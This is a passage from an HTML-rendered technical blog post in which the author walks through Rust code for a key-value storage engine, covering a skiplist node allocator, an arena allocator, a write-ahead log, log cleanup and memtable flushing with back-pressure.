&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; arena&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Arena&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) -&amp;gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;next_array_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;size_of&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;AtomicPtr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span&gt; ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; arena&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;allocate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;        unsafe&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;            ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;span&gt; key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;            let&lt;&#x2F;span&gt;&lt;span&gt; next_array&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span&gt;ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; AtomicPtr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Node&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;K&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; V&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;&amp;gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;            for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; in 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span&gt;height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;                ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;next_array&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; AtomicPtr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;null_mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;()));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ptr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;beating-memory-fragmentation&quot;&gt;Beating Memory Fragmentation&lt;&#x2F;h2&gt;
&lt;p&gt;Building the custom SkipList was only half the battle. Standard tools still fragment memory behind the scenes if you are not careful. So I designed a completely lock-free bump-pointer &lt;strong&gt;Arena Allocator&lt;&#x2F;strong&gt;. This strategy is like buying a massive parking garage instead of renting individual parking spaces one by one. The algorithm claims millions of bytes from the operating system instantly. It then hands out perfectly aligned pieces using a rapid atomic math calculation. It practically removed the memory allocation bottleneck entirely.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;memtable&#x2F;arena_allocator.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;pub&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Arena&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    memory_usage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; AtomicUsize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    current_block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; AtomicPtr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Block&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    current_block_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; AtomicUsize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;surviving-power-failures&quot;&gt;Surviving Power Failures&lt;&#x2F;h2&gt;
&lt;p&gt;Buffering data in memory is incredibly fast but extremely dangerous. If the computer loses power unexpectedly, all that memory vanishes instantly. I wanted to guarantee that my engine never loses a single committed write. To solve this critical vulnerability, I implemented a &lt;strong&gt;Write-Ahead Log&lt;&#x2F;strong&gt; or WAL. Before a new piece of data ever touches the memory buffer, it is safely recorded in this log strictly on the hard drive. I used rigid physical block structures to maintain reliability. The log saves data in consecutive thirty-two kilobyte blocks. If the system crashes mid-write, a checksum failure alerts the recovery process to discard the corrupted chunk safely. Learning how to build this specific logging mechanism really showed me the harsh reality of physical hardware constraints.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;wal.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;#[&lt;&#x2F;span&gt;&lt;span&gt;derive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;Debug&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Clone&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Copy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;enum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; ChunkType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    Full&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    First&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    Middle&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;    Last&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; A fixed-width slot inside a 32 KB WAL block.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; Records that span multiple 32 KB blocks are split into First&#x2F;Middle&#x2F;Last chunks. This&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; lets the recovery reader reassemble records without knowing their total size upfront —&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; it reads chunks in order until it sees a `Last` (or `Full`) chunk type.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; The payload is raw serialized `Record` bytes. Keeping `Chunk` unaware of `Record`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #676E95;font-style: italic;&quot;&gt;&#x2F;&#x2F;&#x2F; structure means the chunking logic is reusable for any payload and easier to test.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Chunk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    pub&lt;&#x2F;span&gt;&lt;span&gt; checksum&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    pub&lt;&#x2F;span&gt;&lt;span&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; u16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    pub&lt;&#x2F;span&gt;&lt;span&gt; chunk_type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; ChunkType&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;    pub&lt;&#x2F;span&gt;&lt;span&gt; payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Vec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;cleaning-the-logs-automatically&quot;&gt;Cleaning the Logs Automatically&lt;&#x2F;h2&gt;
&lt;p&gt;Because every single action is safely written to the log, those files grow rapidly. I could not simply let them consume the entire hard drive forever. I built a garbage collection mechanism to handle the mess seamlessly. Once the background task successfully seals a data table onto the final disk drive, it tells the logger to permanently delete the older corresponding log files. This keeps the disk completely neat and tidy. It ensures the system only retains the exact limited history it needs to recover from a sudden crash.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;handling-the-overflow&quot;&gt;Handling the Overflow&lt;&#x2F;h2&gt;
&lt;p&gt;What happens when that memory buffer fills up entirely? I needed a reliable way to move the data permanently to the disk without freezing the application. I programmed a background task that takes the full memory table and writes it out as an &lt;strong&gt;SSTable&lt;&#x2F;strong&gt;. This stands for Sorted String Table. However, I encountered a completely new problem. What if the incoming writes are so incredibly fast that the disk cannot keep up? To handle this overflow gracefully, I utilized a &lt;strong&gt;CondVar&lt;&#x2F;strong&gt; constraint. If the system cannot process the files quickly enough, it intentionally parks the incoming writes in a harmless waiting area. This creates a natural back-pressure. It forces the system to stay stable instead of throwing unpredictable or fatal errors into the console.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;src&#x2F;lib.rs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BABED8; background-color: #292D3E;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt;thread&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;spawn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;move&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; || {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFCB6B;&quot;&gt; Err&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) =&lt;&#x2F;span&gt;&lt;span&gt; Self&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;flush_immutable_memtable&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        imm_memtable_arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        sstables_arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        manifest_arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        db_path_arc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        wal_arc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    ) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
